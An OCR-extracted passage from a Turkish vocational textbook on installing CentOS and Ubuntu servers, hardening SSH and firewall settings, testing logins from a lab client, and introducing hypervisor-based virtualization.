* CentOS Linux Server * Slackware Linux Server

* Debian Linux Server * SUSE Linux Enterprise Server

* Fedora Linux Server * Ubuntu Linux Server

* Gentoo Linux Server

e Windows Tabanl Sunucu isletim Sistemleri

* Windows Server 2012 R2 * Windows Server 2019
* Windows Server 2016 * Windows Server 2022

Linux ve Windows sunucu isletim sistemlerinin farkhliklarini arastiriniz. Arastirma
sonuglarini rapor haline getiriniz. Calismanizi arkadaslarinizla paylasiniz.

4.2.1. Sunucu isletim Sistemi Kurulumu

Bu 6grenme biriminde Linux sunucu isletim sistemlerinden CentOS Stream 8 kullanilacaktr.

37. UYGULAMA CentOS Linux Server kurulumunu asagidaki adimlar dogrultusunda
gerceklestiriniz.

1. Adim: CentOS Linux sunucu isletim sistemi ISO dosyasini indiriniz (Gorsel 4.265).

B centos.arg/centos-stream/

# CentOS

2 _

¥ Architectures Packages Others

x86_64 RPMs Cloud | Containers | Vagrant

Gorsel 4.265: CentOS Linux ISO dosyasini indirme
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]
2. Adim: indirilen disk gériintiisii ile 6nyiiklenebilir bir USB bellek hazirlayiniz.
3. Adim: Hazirlanan USB bellegi bilgisayara takip ardindan bilgisayari yeniden baslatiniz.
4. Adim: Bilgisayarin BIOS ayarlarina girip, ilk acilis aygitini USB olarak degistiriniz.

5. Adim: BIOS ayarlari yapildiktan sonra bilgisayar yeniden baslayacaktir. Kurulum ekrani agilacaktr.
Kurulumu Install CentOS Stream 8 secimini yaparak baslatiniz.

6. Adim: Dil ayarini yapiniz. Suirdiir butonuna tiklayiniz (Gorsel 4.266).
CENTOS STREAM 8'e HOS GELDINIZ.

Kurulum sirasinda hangi dili kullanmak istiyorsunuz?

e Thai Turkge (Kibris)
Tiirkce Turkish

YkpaiHcbKa Ukrainian

)l Urdu

Aramak icin buraya yaz a

Gorsel 4.266: Dil ayarinin yapilmasi
7. Adim: Yerellestirme kismindan saat ve tarih ayarini yapiniz.

8. Adim: Kullanici ayarlari kismindan koék parolasi belirleme ile kullanici olusturma islemlerini
gerceklestiriniz ve kullaniciyr olustururken Bu kullaniciyi yénetici yap, Bu hesabi kullanmak igin parola
gerektir onay kutularina tiklayarak kullanicinin parola bilgilerini giriniz.

9. Adim: Yazilim kismindan yazilim segimi ayarini Server with GUI olarak yapip Sistem kismindan
kurulum hedefi ayarini yapmak igin aygit secimini gerceklestiriniz.

10. Adim: Ag ve ana makine adi yapilandirmalarini tamamlayip, Kuruluma Basla butonuna tiklayarak
kurulum sirecini baslatiniz (Gorsel 4.267).

KURULUM OZETi CENTOS STREAM 8 KURULUMU
# centos
BEtr Yardim!
YERELLESTIRME YAZILIM SISTEM
ER Klavye e Kurulum Kaynag Kurulum Hedefi
Tiirkce Yerel ortam Kenlliginden bélimiendirme secildi
Dil Destegi ﬁ Yazilim Segimi KDUMP
Tiirkge (Tiirkiye) Server with GUI Kdump is enabled
Saat ve Tarih - Ag ve Ana Makine Adi
Avruparistanbul saat dilimi € hiols erpts3) baarch

n Security Policy
KULLANICI AYARLARI No content found

@ K&k Parolasi

Kok parolas: belilendi

@ Kullanic Olusturma
Yéinetici okulsunucy olusturulacak

Cik Kuruluma Basla

{uruluma Basla' diigmesine tiklayana kadar disklerinize dokunmayacagiz

Gorsel 4.267: CentOS kurulum ayarlarinin yapilmasi
11. Adim: Kurulum tamamlaninca Sistemi Yeniden Bagslat butonuna tiklayiniz.

12. Adim: Kullanici adini segip, belirlediginiz parolayi yazarak Giris butonuna tiklayiniz.
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13. Adim: Kullanici girisi yaptiginizda kisisel tercihlerinize gére son ayarlari yapiniz ve masadistiiniin
ylklenmesini bekleyiniz (Gorsel 4.268).

% Etkinlikler 28 Agu 04:34

Q. Aramak icin yaz...

Gorsel 4.268: CentOS masalistu ekrani

14. Adim: Komut satirini acip, sudo yum update yazarak CentOS isletim sistemi giincellemelerini
yapiniz (Gorsel 4.269).

% Etkinlikler chirim ~ Agu 20:19
Etkinlikl [ Ugbiri 28 Agu 20:19

B okulsunucu@localhost:~

Dosya Diizenle Goriinim Ara Ucbirim  Yardim
[okulsunucu@localhost ~]$ sudo yum update

Yerel Sistem Yoneticisinden olagan o6giitleri aldiginiza gliveniyoruz.
Bunlari genellikle asagidaki (¢ seyle dzetleyebiliriz:

#1) Diger kisilerin o6zel hayatina saygil gdsterin.
#2) Bir yazmadan once iki kere dlsunin.
#3) Biyik giiclin biylk bir sorumluluk getirdigini unutmayin.

[sudo] password for okulsunucu:
Cent0S Stream 8 - AppStream 1.9 MB/s

Cent0S Stream 8 - Base0S 1.7 MB/s | :
Cent0S Stream 8 - Extras 4.3 kB/s | 18 kB 00:04
Cent0S Stream 8 - Extras common packages 8.1 kB/s | :
Son (st veri silresi sona erme denetimi: 0:00:01 énce, Pzt 28 Agu 2023 20:18:53 +
03 tarihinde.
Bagimliliklar c¢ozimlendi.

Paket Mimari Depo Boyut

Yikseltiliyor:

x86 64 3.20-7.el18.0.1 baseos 32 k
x86_64 0-1.31.20180415git.el8 appstream 13 k
noarch 0-1.31.20180415git.el8 appstream 20 k
x86 64 0-1.31.20180415git.el8 appstream 19 k

Goérsel 4.269: isletim sistemi giincellemelerini yapma
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QE Asagida maddeler halinde verilen islemleri cihazinizda gerceklestiriniz.
* Gorsel 4.270'daki gibi ubuntu ubUNEU® | Enterprise ©  Developer ~ Community ~  Download ~

Linux sunucu isletim sistemi ISO
dosyasini indiriniz.

Downloads Desktop Server

e Kurulum icin 6nylklenebilir bir
USB bellek hazirlayiniz.
Get Ubuntu Server

e Ubuntu Linux sunucu isletim
sistemi kurulumunu gergeklesti- : : : :
o gereelles Option 1: Manual server installation
. . . . USB or DVD image based physical install
e Ubuntu sunucu isletim sistemi- ¢ Y
nin glincellemelerini yikleyiniz. @ 05 security guaranteed until April 2027

@ Expanded security maintenance until April 2032

@ Commercial support for enterprise customers

Download Ubuntu Server 22.04.3 LTS Alternative downloads»  Alternative architectures»

Gorsel 4.270: Ubuntu Server ISO dosyasini indirme

4.2.2. Sunucu isletim Sistemi Servis Yapilandirmasi

Sunucularin SSH, FTP, DNS, web, DHCP, veri tabani gibi hizmetleri sunabilmesi i¢in yapilandirilmalari
gerekir. Bu isleme servis yapilandirmasi adi verilir. Servisler, sunucularin temel islevlerini yerine
getirmesi icin kullanilan yazilimlardir. Sunucu isletim sistemleri tarafindan saglanan servislerin dogru
yapilandiriimasi gerekir ¢linkl sunucunun performansi, givenligi ve kullanilabilirligi bu duruma baghdir.
Servis yapilandirmasi igin ilkin sunucunun istemcilere saglayacagi servislerin belirlenmesi gerekir.
Ardindan ilgili servis veya servisler sunucuya kurulup etkinlestirilmelidir.

4.2.2.1. Sunucu isletim Sistemi Servis Kurulumu

CentOS 8 isletim sistemi lizerine servis kurmak icin dnce paket yoneticisinin sudo yum update veya sudo
dnf update komutu ile glincellenmesi 6nerilir. Paket yoneticisi glincellendikten sonra ihtiyag duyulan
servis kurulumu yapilir. CentOS 8 isletim sisteminde servis kurmak icin sudo yum install [servis adi]
veya sudo dnf install [servis adi] komut yapisi kullanilir. En ¢ok kullanilan servisler ve servislerin CentOS
Linux isletim sistemine sahip sunuculara kurulmasi igin gerekli komutlar Tablo 4.30°da verilmistir.

Tablo 4.30: Servislerin Kurulmasi igin Gerekli Komutlar

Servis (Hizmet) Servis Adi Servisin Kurulmasi igin Kullanilan Komut
SSH openssh-server sudo dnf install openssh-server
FTP vsftpd sudo dnf install vsftpd
HTTP httpd sudo dnf install httpd
DHCP dhcp-server sudo dnf install dhcp-server
MYsQL mysql-server sudo dnf install mysql-server
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CentOS Linux 8 isletim sisteminde hem yum hem dnf paket yoneticileri kullanilabilir y
ancak CentOS 8 ve sonrasi surlimler icin onerilen paket yoneticisi dnf'dir ¢linkl dnf “01
daha yeni ve gelismis bir paket yoneticisidir.

38. UYGULAMA CentOS Linux igletim sisteminde SSH server kurulumunu asagidaki
adimlar dogrultusunda gergeklestiriniz.
-

1. Adim: Linux terminalini aginiz.

2. Adim: Komut satirina sudo dnf install openssh-server yazarak SSH servisinin kurulumunu yapiniz
(Gorsel 4.271).

# Etkinlikler [ Ugbirim « 29 Agu 04:54

B okulsunucu@localhost:~

Dosya Diizenle Goriinim Ara  Uchirim  Yardm

[okulsunucu@localhost ~]$%$ sudo dnf install openssh-server

[sudo] password for okulsunucu:

Son (st veri sliresi sona erme denetimi: 0:39:15 dnce, Sal 29 Agu 2023 04:01:57 +
03 tarihinde.

Bagimliliklar c¢oziimlendi.

Mimari Sdrim

x86 64 8.0pl-19.el8

Kur 1 Paket

[Toplam indirme boyutu: 493 k

Kurulu boyut: 1.0 M

Bu tamam m1? [e/H]: e

Paketler Indiriliyor:

openssh-server-8.0pl-19.el8.x86 64.rpm 654 kB/s | 493 kB 00:00

1 456 kB/s | 493 kB 00:01
Islem denetimi calistiriliyor
Islem denetimi basarili.

Gorsel 4.271: SSH servisinin kurulumu

3. Adim: Komut satirina systemctl status sshd yazarak SSH servisinin durumunu kontrol ediniz (Gorsel
4.272'deki komut ciktisinda SSH servisinin calismadigi goralir.).

[okulsunucu@localhost ~]% systemctl status sshd
sshd.service - OpenSSH server daemon
Loaded: loaded (/usr/lib/systemd/system/sshd.service; enabled; vendor preset!
Active:| inactive (dead)|
Docs: man:sshd(8)
man:sshd config(5)

Gorsel 4.272: SSH servisinin durumunu kontrol etme

4. Adim: Komut satirina sudo systemctl start sshd yazarak SSH servisini baslatiniz.
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5. Adim: Servisin calistigini dogrulamak igin systemctl status sshd komutunu kullaniniz (Gérsel
4.273'daki komut giktisinda SSH servisinin galistigi géralir.).

[okulsunucu@localhost ~]$% dudo systemctl start sshd
[sudo] password for okulsunucu:
[okulsunucu@localhost ~]% systemctl status sshd
sshd.service - 0OpenSSH server daemon
Loaded: e S ib/systemd/system/sshd.service; enabled; vendor presetH
Active: since Tue 2023-08-29 05:23:09 +03; 10s ago
Docs: man:sshd(3)
man:sshd config(5)
Main PID: 9865 (sshd)
Tasks: 1 (limit: 23001)
Memory: 1.1M
CGroup: /system.slice/sshd.service
L0865 /usr/sbin/sshd -D -oCiphers=ae5256-gcm@openssh.com,chachaZG-pﬂ

Gorsel 4.273: SSH servisini baslatma

SSH sunucu yazilimi aga bagh istemcilerin sunucuya uzaktan erismesine imkan verir. (ry
Sunucuya saglanan erisim glivenli bir sekilde gerceklesir. SSH sunucu iletisimi sifreleyerek
yetkisiz kisilerin verilere erisememesini saglar. SSH sunuculari verilerin gizliliginin ve
bitlinliginin korunmasinda 6nemli bir yere sahiptir.

4.2.2.2. Sunucuda Veri Giivenligi Adimlariyla Temel Servis Yapilandirmasi

Linux isletim sistemi Uzerine kurulan servisleri yapilandirmak icin konfiglirasyon dosyalari kullanilir. Bu
dosyalar genellikle /etc dizini altinda yer alir. Konfiglirasyon dosyalari adlarini ilgili oldugu servisten
alir. Her bir servisi yapilandirmak igin servisle baglantili konfiglirasyon dosyasini diizenlemek gerekir.
Sunucu kullanicisi konfiglirasyon dosyalarini diizenlerken dikkatli olmalidir. Kullanicinin yapilandirma
yapmadan 6nce konfiglirasyon dosyasinin yedegini almasi Onerilir. Linux isletim sisteminde servislerin
konfiglirasyon dosyalarinin konumu ve adi Tablo 4.31’de verilmistir.

Tablo 4.31: Servislerin Konfiglirasyon Dosyalari

Servis (Hizmet) Servis Adi Konfigiirasyon Dosyasi
SSH openssh-server /etc/ssh/sshd_config
FTP vsftpd /etc/vsftpd/vsftpd.conf
HTTP httpd /etc/httpd/conf/httpd.conf
DHCP dhcp-server /etc/dhcp/dhcpd.conf
MYsQL mysql-server /etc/my.cnf

CentOS Linux Uzerinde servisleri yapilandirirken veri glivenligini saglamak igin dikkat edilmesi gereken
bazi hususlar sunlardir:

e isletim sisteminin ve servislerin giivenlik giincellemeleri diizenli olarak gerceklestirilmelidir.

e Kullanici hesaplari ve servisler icin glicli parola politikalari uygulanmalidir.

e Servislere sadece yetkili kisilerin erismesine izin verilmelidir.

e Guvenlik duvari kullanarak servislere gelen trafik denetlenmelidir.
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L
e Log kayitlari dizenli olarak kontrol edilmelidir.
e Kullanilmayan servisler devre disi birakilmali veya kaldiriimalidir.
e Verileri korumak i¢in diizenli yedekleme yapilmalhdir.

e isletim sistemi ve servisler icin en az ayricalik ilkesi (principle of least privilege) uygulanmalidir.

39. UYGULAMA CentOS Linux isletim sisteminde SSH server vyapilandirmasini
asagidaki veri glivenligi adimlarini uygulayarak gergeklestiriniz.
1. Adim: Linux terminalini aginiz.

2. Adim: Konfiglirasyon dosyasini nano editori ile diizenlemek icin komut satirina sudo nano /etc/ssh/
sshd_config yaziniz (SSH servisi ile ilgili tiim konfiglirasyon ayarlari sshd_config dosyasinda tutulur.).

3. Adim: Komutu calistirdiginizda konfiglirasyon dosyasinin nano editori ile agilip agiimadigini
gozlemleyiniz (Gorsel 4.274).

GNU nano 2.9.8 /etc/ssh/sshd config

# They will be overridden by command-line options passed to the server
# on command line.
# Please, check manual pages for update-crypto-policies(8) and sshd config(5).

# Logging
#SyslogFacility AUTH
SyslogFacility AUTHPRIV
#LoglLevel INFO

# Authentication:
#LoginGraceTime 2m
[BermitRootLogin yes
#StrictModes yes
#MaxAuthTries 6
#MaxSessions 10

#PubkeyAuthentication yes

e Yardim Al gV Yaz al Ara B Metni Kes @] Yasla B8 Imlec Pozisy
w{ Cik B Dosya Oku @l Degistir @l Metni Kesmgl] Denetime gl Satira Git

Gorsel 4.274: Konfiglirasyon dosyasi

4. Adim: SSH portunu 55678 olarak degistiriniz (Bunun icin konfiglirasyon dosyasinda Port 55678
yapilandirmasini gerceklestirmelisiniz.).

5. Adim: SSH protokoliiniin versiyonunu 2 olarak ayarlayiniz (Bunun igin konfiglirasyon dosyasinda
Protocol 2 yapilandirmasini gerceklestirmelisiniz.).

6. Adim: Sunucuya SSH ile baglanacak olan kullanicilara uyari mesaji vermek icin konfiglirasyon
dosyasinda Banner /etc/ssh/uyari.txt yapilandirmasini gergeklestiriniz.
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7. Adim: Guvenlik sebebiyle root kullanicisinin sunucuya SSH ile uzaktan erisimini engelleyiniz (Bunun
icin konfiglirasyon dosyasinda PermitRootLogin no yapilandirmasini gerceklestirmelisiniz.).

8. Adim: Sadece belirli kullanicilarin sunucuya SSH baglantisi yapmasini saglamak icin konfiglirasyon
dosyasinda kerem ve merve kullanicilariicin AllowUsers kerem merve yapilandirmasini gerceklestiriniz.

9. Adim: Herhangi bir kullanicinin bos parola ile sunucuya SSH baglantisi yapmasini engellemek igin
konfiglirasyon dosyasinda PermitEmptyPasswords no yapilandirmasini gerceklestiriniz.

10. Adim: Kaba kuvvet saldirilarinin engellenmesi, parola deneme sayisinin sinirlamasi ve iki parola

denemesinden sonra SSH baglantisinin sonlandiriimasi igin konfiglirasyon dosyasinda MaxAuthTries 2
yapilandirmasini gercgeklestiriniz.

11. Adim: Tim yapilandirmalari ayarladiktan sonra (Gorsel 4.275) dosyayi ayni isimle kaydediniz.

GNU nano 2.9.8 /etc/ssh/sshd config

#LoginGraceTime 2m
#MaxAuthTries 6
#MaxSessions 10
#StrictModes yes

Port 55678

Protocol 2

Banner /etc/ssh/uyari.txt
PermitRootLogin no
AllowlUsers kerem merve
PermitEmptyPasswords no
MaxAuthTries 2
PasswordAuthentication yes

[ 153 satir yazildi |

e Yardim Al g Yaz Wl Ara @ Metni Kes gl Yasla B8 Imlec Pozisy
@l Cik gy Dosya Oku gl Degistir @l Metni Kesmgl] Denetime gl Satira Git

Gorsel 4.275: Temel SSH servisi yapilandirmasi

12. Adim: Banner icin uyari mesajini iceren dosyay! uyari.txt adiyla /etc/ssh dizini icine kaydediniz
(Gorsel 4.276).

GNU nano 2.9.8 /etc/ssh/uyari.txt Degistirildi

ko sk ok ok ok okokokokokokokokeotofeok kb ok kokok [JY ART ok dodododokokokok ok koo sk sk sk skt o

Yetkisiz erisim yasaktir.

Yalnizca yetkili personelin girmesine izin verilir.
ok e o ok e sk ok ke o ok ok ok ok sk ke o e ok ok ek ok e sk sk ke ok ok sk sk ok ke ke ok ke ok sk ek ok ke sk sk ok ok ok ok ok ke ok ke

Gorsel 4.276: Uyari mesajinin hazirlanmasi

13. Adim: Konfigiirasyon degisikliklerinde servislerin yeniden baslatilmasi gerektigi icin komut satirina
sudo systemctl restart sshd yazarak SSH servisini yeniden baslatiniz.

b
SSH servisi icin baska bir hizmet tarafindan kullanilan bir port secildiyse servis

baslatilamayacaktir. Bu durumda portun degistiriimesi gerekir. ﬁ°1
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40. UYGULAMA CentOS Linux isletim sisteminde SSH servisinin glvenlik duvari
yapilandirmasini asagidaki adimlari uygulayarak gergeklestiriniz.

1. Adim: Linux terminalini aginiz.

2. Adim: SSH portunu glvenlik duvari kurallarina izin verilen port olarak eklemek igin komut satirina
sudo firewall-cmd --add-port=55678/tcp --permanent yaziniz.

3. Adim: Guvenlik duvari ayarlarinda yapilan degisiklikleri uygulamak icin komut satirina sudo firewall-
cmd --reload yaziniz.

4. Adim: Givenlik duvari ayarlarinda SSH portuna izin verilip verilmedigini kontrol etmek i¢in komut
satirina sudo firewall-cmd --query-port=55678/tcp yaziniz (Gorsel 4.277’teki komut ciktisinin yes
olmasi 55678 portuna izin verildigini gosterir.).

5. Adim: Sunucudaki givenlik duvari kurallarini kontrol etmek igin komut satirina sudo firewall-cmd
--list-all yaziniz (Gorsel 4.277’teki komut giktisinda ports: 55678/tcp ifadesinin yer almasi SSH portuna
izin verildigini dogrular.).

[okulsunucu@localhost ~]% sudo firewall-cmd --add-port=55678/tcp --permanent
success
[okulsunucu@localhost ~]% sudo firewall-cmd --reload
success
[okulsunucu@localhost ~]1% sudo firewall-cmd --query-port=55678/tcp
yes
[okulsunucu@localhost ~]$ sudo firewall-cmd --list-all
public (active)

target: default

icmp-block-inversion: no

interfaces: enp0s3

sources:

services: cockpit dhcpv6-client ssh
| ports: 556?8/tcp|

protocols:

forward: no

masquerade: no

forward-ports:

source-ports:

icmp-blocks:

rich rules:

Gorsel 4.277: SSH servisinin glivenlik duvari yapilandirmasi

(w9
Guvenlik duvari kurallari, belirli portlara izin vermek veya portlari engellemek icin N

kullanilabilir. Glivenlik duvari yapilandirmalari dikkatli bir sekilde gerceklestiriimelidir. (\01

4.2.2.3. Sunucu Giivenlik Testiyle Servis Yapilandirmasi Kontrolii

Sunucu Uzerindeki servis yapilandirmalarinin kontroll ile giivenlik testi gerceklestirilir. Ayarlanan
yapilandirma adimlarini kontrol etmek icin herhangi bir (tercihen Linux) isletim sistemine sahip
bilgisayardan sunucuya SSH ile uzaktan erisim saglanir. Her bir uygulama adimi test edilerek
yapilandirmanin dogru calistigi onaylanir. Yapilandirma hatasiile karsilasilirsa konfiglirasyon dosyasinda
gerekli duzeltmeler yapilir. Yapilan diizeltme tekrar test edilir. Sunucu glivenlik testi diizenli olarak
gerceklestirilmelidir.
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]

CentOS Linux isletim sisteminde SSH server yapilandirmasinin
kontrolin( asagidaki adimlar dogrultusunda saglayarak givenlik
testini gergeklestiriniz.

41. UYGULAMA

1. Adim: CentOS sunucuda terminal aginiz.

2. Adim: CentOS sunucuda SSH portunun dinlenip dinlenmedigini kontrol etmek icin komut satirina
netstat -tuln | grep 55678 yazip portun LISTEN durumunda oldugundan emin olunuz (Gorsel 4.278).

[okulsunucu@localhost ~]$% netstat -tuln | grep 55678
tcp 0 0 0.0.0.0:55678 0.0.0.0:%* LISTEN
tcpb [¢] 0 :::55678 L LISTEN
[okulsunucu@localhost ~]$ l

Gorsel 4.278: Sunucuda port durumunu kontrol etme

3. Adim: CentOS sunucuda kerem, burak ve merve kullanicilarini olusturunuz.

4. Adim: kerem ve burak kullanicilari icin glcli parola belirleyip merve kullanicisi icin parolayi bos
birakiniz (Gorsel 4.279).

[okulsunucu@localhost ~]% sudo su

[sudo] password for okulsunucu:

[root@localhost okulsunucul# useradd kerem

[root@localhost okulsunucul# useradd burak

[root@localhost okulsunucul]# useradd merve

[root@localhost okulsunucul# passwd kerem

kerem kullanicisinin sifresi degistiriliyor.

Yeni parolasi:

Yeni parolasini tekrar girin:

passwd: tim kimlik dogrulama belirtegleri basariyla gilincellendi.
[root@localhost okulsunucul# passwd burak

burak kullanicisinin sifresi degistiriliyor.

Yeni parolasi:

Yeni parolasini tekrar girin:

passwd: tim kimlik dogrulama belirtecleri basariyla glincellendi.
[root@localhost okulsunucul# passwd -d merve

merve kullanicisinin parolasi kaldiriliyor.

passwd: Not: parolanin silinmesi, parola kilidini de acacaktair.
passwd: Basarili

[root@localhost okulsunucul# exit

exit

[okulsunucu@localhost ~]1$% I

Gorsel 4.279: Kullanicilari olusturma

4. Adim: CentOS sunucunun IP adresini ifconfig komutu ile 6greniniz (Gorsel 4.280).

[okulsunucu@localhost ~]$ ifconfig

enp0s3: flags= < \DCAST ,RUNNING,MULTICAST> mtu 1500
inet|192.168.1.43| netmask 255.255.255.0 broadcast 192.168.1.255
ineté feB80::a00:27ff:feab:f2f7 prefixlen 64 scopeid 0x20<link>

ether 08:00:27:ab:f2:f7 txqueuelen 1000 (Ethernet)

RX packets 141088 bytes 8727521 (8.3 MiB)

RX errors @ dropped @ overruns @ frame 0

TX packets 1864 bytes 233613 (228.1 KiB)

TX errors 0 dropped O overruns @ carrier © collisions 0@

Gorsel 4.280: Sunucunun IP adresini 6grenme
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5. Adim: Sunucu ile ayni agda olan Kali Linux isletim sistemine sahip bir istemci bilgisayarda terminal
aciniz.

6. Adim: Kali Linux terminalinden CentOS sunucuya root kullanicisi ile SSH baglantisi gerceklestirmeye
calisiniz ve SHH baglantisinin gerceklesip gerceklesmedigini gozlemleyiniz (Gorsel 4.281).

E(ogrenci@okul)—[ﬂ

$ ssh -p 55678 root®192.168.1.43

FhkEEKFIAEFEA A TAR AT AR E* UYARI *ddrrrdhkdkrhhhrrrhrhid
Yetkisiz erisim yasaktir.

Yalnizca yetkili personelin girmesine izin verilir.

ek ke sk ok ko ok ok ok ok sk ks sk e ek ok ek ok ek ek ek ek e sk ko ok ek e

rootgl92.168.1.43"'s password:

Permission denied, please try again.

rootml92.168.1.43"'s password:

Received disconnect from 192.168.1.43 port 55678:2: Too many authentication failures

Disconnected from 192.168.1.43 port 55678

Gorsel 4.281: root kullanicisi igin glivenlik testi

7. Adim: Kali Linux terminalinden CentOS sunucuya kerem kullanicisi ile SSH baglantisi gerceklestirmeye
calisiniz ve SHH baglantisinin gerceklesip gerceklesmedigini gozlemleyiniz (Gorsel 4.282).

,_—( ogrenci® okul)-[~]
$ ssh -p 55678 keremp192.168.1.43
dkkkkkkkhkkhkkhhhkhkhrhkd UYARI wdkkhshhhhddkhhhhhkid
Yetkisiz erisim yasaktir.
Yalnizca yetkili personelin girmesine izin verilir.
e e e e e e e e T Je e e die e e v e e v v ol o o e sl s ok e e e 9 o ke e e e e e e e e e e e e de e el ok
keremg192.168.1.43"'s password:
Permission denied, please try again.
keremg192.168.1.43"'s password:
Activate the web console with: systemctl enable --now cockpit.socket

Last failed login: Wed Aug 30 03:15:25 +03 2023 from 192.168.1.42 on ssh:notty
There was 1 failed login attempt since the last successful login.

Last login: Wed Aug 30 ©3:14:08 2023 from 192.168.1.42

[kerem@localhost ~1% pwd

Jhome/kerem

[kerem@localhost ~1$ exit

cikis

Connection to 192,168.1.43 closed.

Gorsel 4.282: kerem kullanicisi icin giivenlik testi

8. Adim: Kali Linux terminalinden CentOS sunucuya merve kullanicisi ile SSH baglantisi gergceklestirmeye
calisiniz ve giris yapilip yapilamadigini gdzlemleyiniz.

9. Adim: Kali Linux terminalinden CentOS sunucuya burak kullanicisi ile SSH baglantisi gerceklestirmeye
calisiniz ve SHH baglantisinin gerceklesip gerceklesmedigini gozlemleyiniz.

SIRA
am Asagida maddeler halinde verilen islemleri cihazinizda gerceklestiriniz.

e Ubuntu sunucu isletim sisteminde FTP servisinin kurulumunu gergeklestiriniz.

e Ubuntu sunucu isletim sisteminde FTP servisinin yapilandirmasini gerceklestiriniz.
e Ubuntu sunucu isletim sisteminde FTP servisinin glivenlik testini gerceklestiriniz.

e CentOS sunucu isletim sisteminde HTTP servisinin kurulumunu gerceklestiriniz.

e CentOS sunucu isletim sisteminde HTTP servisinin yapilandirmasini gercgeklestiriniz.
e CentOS sunucu isletim sisteminde HTTP servisinin glivenlik testini gergeklestiriniz.
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Windows sunucu isletim sisteminin kullanimi hakkinda bir arastirma yapiniz.
Arastirma sonuglarini rapor haline getiriniz. Calismanizi  arkadaslarinizla
paylasiniz.

Asagida maddeler halinde verilen islemleri cihazinizda gergeklestiriniz.

e Windows sunucu isletim sistemi kurulumunu gerceklestiriniz.
e Windows sunucu tzerinde DHCP rolii kurulumunu gergeklestiriniz.
e DHCP yapilandirmasini gercgeklestiriniz.

istemci bilgisayarin otomatik IP adresi almasini saglayiniz.

4.3. SANALLASTIRMA
Sanallastirma (Virtualization) teknolojisi bir bilgisayar donanimi veya
isletim sistemi Gzerinde ara katman yaziim (hipervizor) kullanarak
birden fazla isletim sisteminin ayni anda ¢alistirilmasina imkan verir. 9
Bu yonuyle bulut bilisimin temelini olusturan sanallastirma teknolojisi
sanal makineler (VM’ler) araciligiyla gergeklestirilir. Farkli sanal
makineler aynifiziksel kaynaklari paylasarak birbirlerindenizole sekilde
bagimsiz ¢alisabilir. Bu yaklasim donanim ve yazilim kaynaklarinin
daha verimli kullaniimasina olanak tanir (Gorsel 4.283).

Gorsel 4.283: Sanallastirma

4.3.1. Sanallastirma Teknolojileri teknolojisi
Sanallastirma; yonetim kolayligi, ekonomiklik, esneklik, glivenlik, glivenilirlik gibi avantajlari sayesinde
isletmeler ve bireysel kullanicilar icin giderek énemi daha da artan bir teknolojidir. isletmelerin ve
bireysel kullanicilarin farkl kullanim senaryolarina cevap verebilecek sanallastirma teknolojileri bulunur.
Bu sanallastirma teknolojileri kullanilan hipervizor tirtine gére siniflandirilir. Hipervizor, isletim sistemi

Gzerinde c¢alisabilen veya dogrudan donanim seviyesine yerlestirilebilen bir ara katman yazilimidir. Bu
yazilimin temel gérevi mevcut fiziksel kaynaklari bir veya daha fazla

Sanallastirma teknolojisi 0Ozellikle veri merkezlerinde veya bulut
altyapilarinda kaynak kullanimini optimize etmek, hizli dagitim
ve Olceklendirme saglamak, yedekleme ve kurtarma islemlerini
kolaylastirmak amaciyla yaygin olarak kullanilir.

sanal makineye tahsis etmektir. Sanallastirma teknolojisinde iki Sanal Makineler
hipervizor tlrd bulunur.

Tip 1 (Bare Metal Hypervisor): Tip 1 hipervizor yazilimi herhangi

bir isletim sistemine gerek duymadan direkt donanim Uzerine

kurularak dogrudan donanim Uzerinde calisir (Gorsel 4.284). Bu °r HIPERVIZOR
nedenle direkt erisim saglayarak donanim tizerindeki tim kaynaklari Il

yonetir. Bu durum sanal makineler icin yiiksek performans saglar. DONANIM ]
Tip 1 sanallastirma teknolojisi daha ¢ok kurumsal isletmeler, veri

merkezleri ve bulut saglayicilari tarafindan kullanii. VMware  Goérsel 4.284: Tip 1 sanallastirma
vSphere ESXi ve Hyper-V tip 1 hipervizorlere 6rnek olarak verilebilir.



4. OGRENME BiRiMi

Tip 2 (Hosted Hypervisor): Tip 2 hipervizor yazilimi isletim sistemi e

Gzerine kurulur. Tip 2 hipervizor, ana bilgisayarin isletim sistemi
Gzerinde uygulama olarak calisir (Gorsel 4.285). Bu nedenle ana
bilgisayardaki isletim sisteminin ¢dkmesi durumunda hipervizor

ve Uzerinde c¢alisan sanal makineler calisamaz hale gelir. Bu ,). mpsnvxzbn][ -ruxpenvizﬁn
durumun sonucunda veri kaybi yasanabilir. Bir diger adi istemci T T

tabanh hipervizor olan bu sanallasirma teknolojisinde sanal [ SLETIM SISTEME ]
makineler donanim kaynaklarina dogrudan erisim saglayamaz. T
Tip 2 hipervizor ile donanim kaynaklari arasinda isletim sistemi [ DONANIM ]

katmani yer aldigindan sanal makineler daha duslk performansla

calisir. Tip 2 sanallastirma teknolojisi daha cok bireysel kullanicilar ~ Gorsel 4.285: Tip 2 sanallastirma
ve yazilim gelistiricileri tarafindan test amaciyla kullanilir. VMware

Workstation ve Oracle VirtualBox, tip 2 hipervizorlere 6érnek olarak

verilebilir.

Sanallastirma igin kullanilan hipervizor tiplerinin avantajlari ve dezavantajlari
hakkinda bir arastirma yapiniz. Arastirma sonuglarini rapor haline getiriniz.
Calismanizi arkadaslarinizla paylasiniz.

Maliyetleri azaltmasi ve verimliligi artirmasi nedeniyle sanallastirma, bilisim teknolojilerinin bircok farkl
alaninda kullanilir. Bilisim teknolojilerinin her bir alani farkl gereksinimlere sahiptir. Sanallastirma bu
gereksinimleri karsilamak icin gesitli yontemlerle uygulanir. Bu yontemlerin uygulanmasinda kullanimi
yaygin sanallastirma tirleri sunlardir:

(4 Masalsti sanallastirma (4 Agsanallastirma
(4 Uygulama sanallastirma (4 Depolama sanallastirma
(¥ Sunucu sanallagtirma (¥4 Konteyner sanallagtirma

Sanallastirma tirleri ve uygulama alanlari hakkinda arastirma yapiniz. Arastirma
sonuglarini rapor haline getiriniz. Calismanizi arkadaslarinizla paylasiniz.

4.3.2. Sanallastirma Uygulamalari

Bu 6grenme biriminde sanallastirma uygulamalari gergeklestirmek icin VMware vSphere ESXi (Tip 1)
ve Oracle VirtualBox (Tip 2) hipervizor yazilimlari kullanilacaktr.

42. UYGULAMA | Tip 1 hipervizor yaziiminin kurulumunu asagidaki adimlar
dogrultusunda gerceklestiriniz.

1. Adim: Tip 1 hipervizor yazilimi ISO dosyasini indirmek icin Create an Account secenegi ile iye olunuz
(Uye olmak igin e-posta adresi, parola ve kisisel bilgilerinizi doldurunuz.).
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2. Adim: Adres bilgileri bolimind dinya posta kodu sistemine gore doldurunuz (City kismina semt
bilgisini, Zip or postal code kismina ise semt bilgisine ait posta kodunu yaziniz.).

